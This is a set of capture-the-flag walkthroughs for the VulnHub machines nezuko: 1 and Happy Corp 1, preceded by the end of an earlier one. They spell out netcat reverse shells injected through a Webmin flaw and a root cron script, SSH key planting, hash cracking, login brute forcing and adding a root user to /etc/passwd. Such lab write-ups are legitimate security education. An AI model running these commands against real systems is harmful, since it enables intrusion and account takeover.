A lot of places to look here, but I decided to take a peak at the /etc/passwd file to see if those system users we found in the mysql database are actually users on this box.

cat /etc/passwd

As fate would have it, one is,! The user aiweb1pwn does in fact exist on this box.

Exciting!

Using the decrypted password we found for this user earlier,

aiweb1pwn : MyEvilPass_f908sdaf9_sadfasf0sa

we go ahead and try to switch users.

su aiweb1pwn

Great we are aiweb1pwn! But how do we get higher.

At this point I tried all the things on my privilege escalation cheat sheet and didn’t really come up with anything.

I also wasn’t finding any files, scripts, or what have you, that this users could run as root.

I was stuck and in all honesty I pinged the author on twitter. I told him were I was at and asked for a hint.

He told me to take a look at the /etc/ folder and look for non root things.

I laughed to myself at first. I was already there. Everything is owned by root or shadow, except the passwd file and anyone can see that.

There isn’t anything there except our user names and permissions. The passwords are all stored in the shadow file that we can’t access.

Maybe the author didn’t realize that I already switched users.

Wait a minute, what is this?

User www-data can’t just read passwd, they frigg’n own it.

If I back out of my current user and back into www-data, I should be able to modify the passwd file in a way that gets me root access.

So I backed out to www-data and dug in.

I quickly realized that I couldn’t invoke nano or get vim to work properly with our limited shell, so I had to work with echo and append commands.

At first I tried adding new users with no password to the end of the file but I couldn’t get any of the new users to authenticate properly via the su command. Then I accidentally erased the passwd file all together, which might have been a blessing in disguise.

Luckily I still had the whole thing in my terminal logs so using echo [user line] > passwd, I reconstructed the passwd to look like so.

I now have a passwd file that just has 3 users: root, www-data, and aiweb1pwn. There is one big difference though. The user aiweb1pwn use to read:

aiweb1pwn:x:1001:1001::/home/aiweb1pwn:/bin/sh

but now reads:

aiweb1pwn:x:0:0:root:/root:/bin/bash

The hope is, if we su back to aiweb1pwn now, we should have root access?

Fingers crossed…

su aiweb1pwn

Game Over : I am Root!

Another VulnHub Capture The Flag Walkthrough.

Introduction

This post is part of a series of stories documenting my journey as I attempt to solve various Capture The Flag style hacking challenges.

The stories in this series are not meant to be “How To Hack This Box” tutorials. However, if that is what you seek, you will still find it here. But know that it is not the intent.

Instead, this series is meant to document the thought process I use to eventually solve these challenges. I try to write these stories in real time as I am solving the given challenge. In that, these stories will document my failures as much as my successes.

At times, you will likely see me overlook things, fumble my terminal commands, go down long roads to nowhere and have to circle back again and again before eventually solving the challenge. ¯\_(ツ)_/¯

Let’s get Started : My Setup

The challenge we are looking at in this post is the nezuko: 1 virtual machine found on VulnHub.

Locally I am running the Kali Linux operating system and all the tools I will use come preinstalled with the OS. I’m running the CTF in VMware Player with the NAT network setting. My NAT network is on vmnet8 and has an IP range of 172.16.186.1–255. Obviously your IP range may be different.

Note: this particular VM had two network adapters in the settings and one was set to bridged, but I set them both to NAT (as my environment doesn’t play nice with VMs on the bridge network)

First Things First : Recon

First thing we always want to do is find the target machine’s IP address and any services that it may be running by issuing the following nmap command.

nmap -sS 172.16.186.1/24

As I noted in the setup section of this post, there were two networks in this VM’s settings and accordingly we have two IP addresses as well. Both seem identical here as they both have a Website running on port 80 and an ssh service on port 22.

We of course go right to our browser and see that both IPs seem identical in that respect as well.

Not much here at first glance. Just a pretty bare bones landing page, but never hurts to do a quick scan with nikto.

nikto -h 172.16.186.202

Not much to see here either, so I took a quick look to see if the site had a robots.txt file. I wanted to see if it listed any other directories, but something strange happened.

Both IP addresses stopped responding to port 80 web requests.

I checked my VMware player and the machine seemed to be still running so I repeated the Nmap scan from earlier.

nmap -sS 172.16.186.1/24

Weird, the two IP addresses jumped up a few spots. I wonder if our scans somehow triggered that?

Moving along and checking the new IP addresses, we do confirm that they have a robots.txt file, but it is atypical. There are no ‘disallow’ directory listings, just this almost base64 looking string?

NBUW45BAMZZG63JANZSXU5LLN4QDUIDUNBUXGIDJOMQG433UEB2GQZJAOJUWO2DUEBYG64TUEB2G6IDFNZ2W2ZLSMF2GKIC6O5PA====

With not much else to go on at this point I couldn’t just leave this hash alone.

It has to be some sort of clue, but while it looks similar to base64 it is not! For one, it uses only capital letters, and there seems to be way too many equal signs. But because I’m stubborn perhaps, I tried to decode it as such any way.

echo “NBUW45BAMZZG63JANZSXU5LLN4QDUIDUNBUXGIDJOMQG433UEB2GQZJAOJUWO2DUEBYG64TUEB2G6IDFNZ2W2ZLSMF2GKIC6O5PA====” | base64 -d

As expected, garbage! I googled my little but off at this point, and eventually came up with the idea that maybe it was base32? That’s when I found a site that decodes base32, https://emn178.github.io/online-tools/base32_decode.html

hint from nezuko : this is not the right port to enumerate ^w^

Ok so we were right. It was a hint and it was base32, but basically it told us we are barking up the wrong tree.

I decided to do a more thorough scan with zenmap, scanning all TCP ports.

Whats this? Port 13337 is running another web server of sorts. Webmin 1.9.20? That could be interesting. I quickly throw that port at my browser to check it out and found that it just hung unless I made it an https request and overrode a security issue with it’s certificate.

Bingo! We have an admin screen of some sort. A quick test with dummy credentials reveals nothing. It doesn’t give us any helpful error messages that might aid in enumerating usernames let alone brute forcing passwords. I also don’t know what Webmin is, so I googled it and immediately found this site: http://www.webmin.com/

And right there at the top of the page it reads as follows.

Webmin 1.930 and Usermin 1.780 released

These updates fix a security vulnerability and should be installed IMMEDIATELY by all users. Although it is not exploitable in a Webmin install with the default configuration, upgrading is strongly recommended.

Well that is convenient. Our version is 1.920.

So I researched this vulnerability and found this handy script for testing it, on the exploit database website.

While this script basically just spits out whether the site is vulnerable or not, it is a very simple script and we can easily interpret what is going on.

Basically it’s hitting one of the sites cgi scripts and injecting a string, then grepping to see if that string comes back in the response.

I copied the script to a file named webmin.sh and gave it a try.

sh webmin.sh https://172.16.186.204:13337

Ok Great! It appears that the webmin version is vulnerable!

Lets Pounce : Remote Code Execution

While that script is at the surface just a vulnerability scanner, it pretty much has done all the hard work for us. We should be able to modify the flag to fire off a netcat reverse shell and be on our way.

I modified the script so that where the author is injecting an echo command we will instead inject a netcat reverse shell, pointing to our local IP on port 4444

nc -e /bin/bash 172.16.186.1 4444

Then, in another terminal window, I started a listener on my local machine like so:

nc -lvp 4444

Finally we run the script again and Bingo! We have a shell!

Well sort of, we are logged into a shell as nezuko, but we don’t have any nice terminal action. My normal bag of tricks to get proper shell like using python,

python -c “import pty; pty.spawn(‘/bin/bash’)”

don’t seem to do much for us, but we are in so lets look around shall we.

I navigated over to nezuko’s home directory where I found a text file with our name on it.

Viewing it reveals some familiar ascii art and what appears to be our first flag:

Congratulations! You have found nezuko! Now, try to surpass your limit! Right here, right now…

1af0941e0c4bd4564932184d47dd8bef

Obviously we are on the right path and now we must move on to post exploitation and privilege escalation.

Rise Up : Privilege Escalation

We poke around our home directory some more and find an interesting folder that seems to contain the same message coming from zenitsu every 5 minutes.

nezuko chan, would you like to go on a date with me?

Dude, probably not if you are going to ask every 5 minutes!?

What else do we got? Going back to our home folder, we notice a .ssh folder.

In that folder is a nice “authorized_keys” file. In theory we could ad our own local public key to this and ssh into the box. That wouldn’t get us privilege escalation but it would certainly give us a much more proper terminal.

In another terminal window, I created a new ssh key on my local machine.

ssh-keygen -t rsa

I named my keys, “hacker_keys” because, why not. I also left the password blank because where we are going, we don’t need no stinking passwords.

Using cat on hacker_keys.pub, we copy the contents.

cat hacker_keys.pub

Then back on our victem’s machine we will add our own key to the authorized keys.

echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9G+DE91ylpnH2SWvAGrz7mAs7dPeXUg89852fmXrB1E8YeNv586ijYwxmuvNMVVwJuL9qEGahQlKrrNlRObE8wPUKPMQmTYBkRhQ2PyhjsZhZBcB8DgKDoHvQk0iqEF8tGEMx/15U0U4WlhESBVcM32aN3BFk5pbeltaC8M0NUy6GE1OK6F8YGpvPzfpo8tz5nWP1sSWOdAG0OYCvKtmVOeUPaA2n3R/UUMgS0H4xOqA4K1qQr8IH/i06VC6EC2SUcTMslQlxxPRh9kwOcqtPD6L9itHKMj5+tfjT1IYeVrExjOcBUl6FZpigO1r4i0x2t9+l58ljyoqRG6fWCVyZWkzgM4tOi9nop4n347PWed8oXlCdYwUFfyjrIWnqUAyQ+OLyAv8CqHy+0SeQ/R/43umlcwQKyDNPkc2w9UuRXWnt2FKV5KO8Byc7Ghd+kaif2T63fGrrjNGSWbTYg2UNuciT3oNGlGqqoSCsqyYdSUDrAqpC/aX/+q4k7hDjtlU= root@Kaida
“ >> authorized_keys

It seems to have worked as we can now see two keys in that file. One of which is ours. Yay!

So in theory we should be able to ssh in to the victim’s machine as nezuko without any password using our own key. Let’s try shall we?

ssh -i hacker_keys nezuko@172.16.186.204

Oh my god, that is so much better!

Ok so now that we have a proper terminal with ‘tab to complete' and everything, lets continue with the task at hand, privilege escalation.

We still don’t know our own password so we can’t list sudo programs, so I decide to take a look at what users are on the machine.

cat /etc/passwd

Ok this was NOT expected!

While all of the users on this box apparently have their password hashes stored in the shadow file, indicated by the :x: next to each user, this doesn’t seem to be the case for our not so secret admirer, zenitsu.

I immediately got excited here because it gives me an excuse to fire up JoanClarke. That’s my 8 Nvidia GTX series GPU server running hashcat.

If you don’t have a GPU hashcat rig, you should be able to do the same with john the ripper, it might just take longer.

I copied the hash to a text file called zenitsu.hash on my hashcat rig and threw it at the classic rockyou.txt dictionary.

$6$LbPWwHSD$69t89j0Podkdd8dk17jNKt6Dl2.QYwSJGIX0cE5nysr6MX23DFvIAwmxEHOjhBj8rBplVa3rqcVDO0001PY9G0

hashcat -m 1800 zenitsu.hash Documents/wordlists/SecLists/Passwords/rockyou.txt

Just 4 seconds later we know that zenitsu’s password is ‘meowmeow’.

Seriously, it took longer to load the dictionary into memory than it took to crack zenitsu’s password.

Ok, let’s become zenitsu.

su zenitsu

As expected we are zenitsu, and navigating over to his home directory we found our second flag.

cat zenitsu.txt

Kaminari no kokyū, Ichi no kata…., Hekireki Issen!

3f2ada6791f96b6a50a9ee43ee6b62df

Looking around further we see a folder called to_nezuko.

Inside we find a bash script that seems to be generating all those date requests we were getting every 5 minutes.

What’s more is it looks like it can run as root and looking back at nezuko’s home directory, we can see more of these messages have been coming in since we left.

My guess is that root is running this script every 5 minutes.

Could we be this close to root already?

In theory all we have to do is modify the script to make another netcat reverse shell, and if we are correct, root will run the script within 5 minutes and bam! We are root.

I initially tried to open the script with nano, but quickly found out that I don’t have write permissions. But we do have ‘append’ permissions apparently.

echo ‘nc -e /bin/bash 172.16.186.1 4444’ >> send_message_to_nezuko.sh

Then back on our local machine we fire up another listener and wait.

nc -lvp 4444

And wait.

and wait..

and wait…

damn 5 minutes is a long time…

And eventually…

We are root!

Congratulations on getting the root shell!
Tell me what do you think about this box at my twitter, @yunaranyancat

3ca33b8158d9dee5c35a7d6d793c7fd5

Game Over : I am Root!

But then again I do have my 8 GPU hashcat rig, affectionately named JoanClarke, and newly found access to that /etc/shadow..

Another VulnHub Capture The Flag Walkthrough.

Introduction

This is my forth post in a series of stories documenting my journey as I attempt to solve various Capture The Flag style hacking challenges.

The stories in this series are not meant to be “How To Hack This Box” tutorials. However, if that is what you seek, you will still find it here. But know that it is not the intent.

Instead, this series is meant to document the thought process I use to eventually solve these challenges. I try to write these stories in real time as I am solving the given challenge. In that, these stories will document my failures as much as my successes.

At times, you will likely see me overlook things, fumble my terminal commands, go down long roads to nowhere and have to circle back again and again before eventually solving the challenge. ¯\_(ツ)_/¯

Let’s get Started : My Setup

The challenge we are looking at in this post is the Happy Corp 1 virtual machine found on VulnHub.

Locally I am running the Kali Linux operating system and all the tools I will use come preinstalled with the OS. I’m running the CTF in VMware Player with the NAT network setting. My NAT network is on vmnet8 and has an IP range of 172.16.186.1–255. Obviously your IP range may be different.

First Things First : Recon

First thing we always want to do is find the target machine’s IP address and any services that it may be running by issuing the following nmap command.

nmap -sS 172.16.186.1/24

We now know that our target resides at 172.16.186.188 and is running the following services.

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs

There are so many potential vectors on this machine I decided to abbreviate the automated recon steps I usually take and just dive into each port.

Port 80 : Shiny Happy People

Where to begin? As juicy as that network file sharing looks on port 2049, I went with tradition and started with the web server on port 80.

And aren’t we happy we did.

Looking around, the site is quite simple. It actually looks kind of familiar. I have seen this template before.

Hey, look its Bernie! #FeelTheBurn, but otherwise ignoring any potential politics the author might be seeding here. This is Happy Corp after all. Moving along.

Now normally I might immediately dig into that contact form, but I still have this gnawing feeling in my gut that I have seen this layout before. I just have to pause and do some more recon.

nikto — host 172.16.186.188

While I was expecting to see some indication of a Wordpress Site or something to account for that familiar template, I seemed to have stumbled on to something else.

Nikto seems to be very interested in this ‘admin.php’ file it found via the site’s robots.txt file. It even calls out a specific vulnerability around remote admin access, OSVDB-29786.

I did a quick pass at a couple variations of the alleged vulnerability but didn’t yield anything interesting. At least at first glance they all just land me at a login prompt. But viewing the source code seems to give us a hint.

I don’t know how to take this really. Is the developer saying he couldn’t get a database working so he hard coded credentials into the php script. If so, SQL-Injection is probably not an option but its definitely time to fire up BurpSuite.

With the request in hand, I quickly copy it to a file and throw it at SQLMap in the background even though I already suspect there isn’t a database behind this form.

sqlmap -r login_req — dbs

While SQLmap does it’s thing, I am going to quickly make a wordlist from main site using cewl and try and use it to brute force some credentials.

cewl -d 1 -w happyCorp.dic http://172.16.186.188

While casually browsing the site we certainly saw some potential user names in the ‘Team’ section and while playing with the form we know it was giving us an error “Invalid username”. We can likely use our custom wordlist and Hydra to brute force some usernames and then potentially some passwords to go along with them.

First we just try our wordlist on possible usernames, set a static password and check the error message for ‘Invalid username’

hydra -L happyCorp.dic -p password 172.16.186.188 http-post-form “/admin.php:user=^USER^&pass=^PASS^:Invalid username.”

Sure enough we found a user, ‘heather’ that did not return ‘Invalid username’ as the error message.

Now lets try and brute force Heather’s password with the same technique, but setting the username to ‘heather’ and password to our wordlist.

hydra -l heather -P happyCorp.dic 172.16.186.188 http-post-form “/admin.php:user=^USER^&pass=^PASS^:Invalid password”

Oh no! There is no shiny green line highlighting our success!

At this point I realized that the the site is all ‘Lorem Ipsum’ so my wordlist wasn’t going to give me anything aside from 4 or 5 potential usernames.

I checked in on sqlmap and as expected that yielded nothing as well.

You know what else was pointless? Ignoring that low hanging fruit, network file share on port 2049.

Port 2049 : Sharing Is Caring

One day I will learn to just go with my gut, but for now lets just move on and check out that juicy NFS port we left behind earlier.

First we see what directories if any are mountable.

showmount -e 172.16.186.188

Well hello, Karl.

mount -t nfs 172.16.186.188:/home/karl /mnt/

The .ssh folder looks promising, but is giving me a ‘permission denied.’ Funny thing is those user groups. ‘toruser’ and ‘nonroot’ are my own local user groups so I should be good just switching users.

su toruser

Well look at that. We have some apparent ssh keys and an intriguing file named ‘user.txt.’

Reading the ‘user.txt’ file we find our first base64 encoded flag.

flag1{Z29vZGJveQ}
echo Z29vZGJveQ | base64 -d
goodboy

Now that we are official members of the Good Boy Club lets move on to those SSH keys.

Port 22 : SSHell

First off, lets take a look at those key files and see what we are working with.

It appears to be a legit set of ssh keys, for our buddy Karl.

Let’s take those keys for a ride.

ssh -i id_rsa karl@172.16.186.188

Shit! We need a password to use our keys. Or should I say Karl’s keys.

Being the genius that I am, I of course immediately googled, ‘Cracking RSA Private Keys,’ where I found this little ditty. So I then google ssh2john and found this: https://github.com/koboi137/john/blob/master/ssh2john.py

Sure. Let’s try that.

python ssh2john.py /mnt/.ssh/id_rsa >sshKeys.txt

john — wordlist=/usr/share/wordlists/rockyou.txt /home/toruser/

That seems to have revealed a password of ‘sheep’ for our keys, guess there is only one way to find out if that is correct.

Well the password and the keys work but we are getting an error that our shell level is too high?

Using my elite google skills, I have come to the conclusion that rbash is spawning itself in a loop or something.

The session is pretty much useless. All my commands just time out and what’s worse, we can’t exit!!

Ok. Breath. Close the terminal window and start over.

What if rbash is the problem. Consulting the ssh man page, we know we can force a pseudo terminal allocation

man ssh

ssh -i id_rsa karl@172.16.186.188 -t ‘/bin/sh’

Oh my god, that is so much better!

End Game : Privilege Escalation

It seems we don’t get any words of encouragement in the form of a flag at this moment. It’s okey, we know we are a good boy.

The first few steps at this stage in the game are pretty much always the same.

sudo -l

Apparently ‘sudo’ is not found? Can we find SUID files?

find / -perm -4000 -type f 2>/dev/null

I stared at this for a little bit before I even noticed the little guy.

/bin/cp

As in?

So what you are saying is, while I’m not root and I shouldn’t be able to read the ‘/etc/shadow’ file, I still might be able to copy it?

Let’s see.

cp /etc/shadow/ /home/karl/

Now I happen to have an 8 gpu hashcat rig just laying around on my network and welcome any excuse to fire her up.

So…

I will spare you any more of my bragging and save you some time and electric bills here. I threw that shadow file at one of my biggest custom wordlists and 1 hour and 26 minutes later I had nothing.

Now mind you, I didn’t bother to throw it at the classic ‘rockyou.txt’ but let’s face it, on my rig that would only take 4 minutes. Not everyone has 8 Nvidia cards to throw at it and we wanted to keep it realistic.

Besides, trust me, if its not in ‘BigDaddyData.txt’ it’s not in ‘rockyou.txt.’

Ok, I’m bragging about my baby again.. Can you blame me? She is beautiful.

Ok point is! We need to rethink our approach. If we can’t brute force the hash, maybe we could use copy to overwrite the existing ‘/etc/passwd’ file?

We cat the ‘/etc/passwd’ file quickly and copy it to our clipboard.

cat /etc/passwd

Then in another terminal window, I navigate over to my local apache2 directory, ‘/var/www/html/’ and paste it into a file called ‘passwd’

From here the plan is to add another root level user. Then from our target we can download it and use ‘copy’ to replace the existing passwd file.

Typically we see an ‘x’ after a user in the passwd file.

root:x:0:0:root:/root:/bin/bash

This x is like a pointer telling the system that the password hash is stored in the shadow file. For our user, we are just going to put it right in the passwd file.

Let’s quickly generate a salted hash for our user. We will call the user, ‘hacker’ and their password will be ‘godmode’

openssl passwd -1 -salt hacker godmode

$1$hacker$O7k1lS6boSXJ4/WPvep980

Nice! Now we will copy the root user from the beginning of our passwd file:

root:x:0:0:root:/root:/bin/bash

and paste it at the bottom of the file where we will update the username and password hash like so.

hacker:$1$hacker$O7k1lS6boSXJ4/WPvep980:0:0:root:/root:/bin/bash

With that saved we will start apache2 on our local machine.

service apache2 start

Then back on our target machine we’ll try to fetch the new passwd with wget.

wget 172.16.186.1/passwd

Navigating up a couple directories, we try and copy the file we just downloaded over to the /etc/ folder and hopefully overwrite it.

cp /home/karl/passwd /etc/passwd

No errors! That’s a good sign, but did it work?

cat /etc/passwd

It appears it did!

su hacker

flag2{aGFja2VyZ29k}
echo aGFja2VyZ29k | base64 -d
hackergod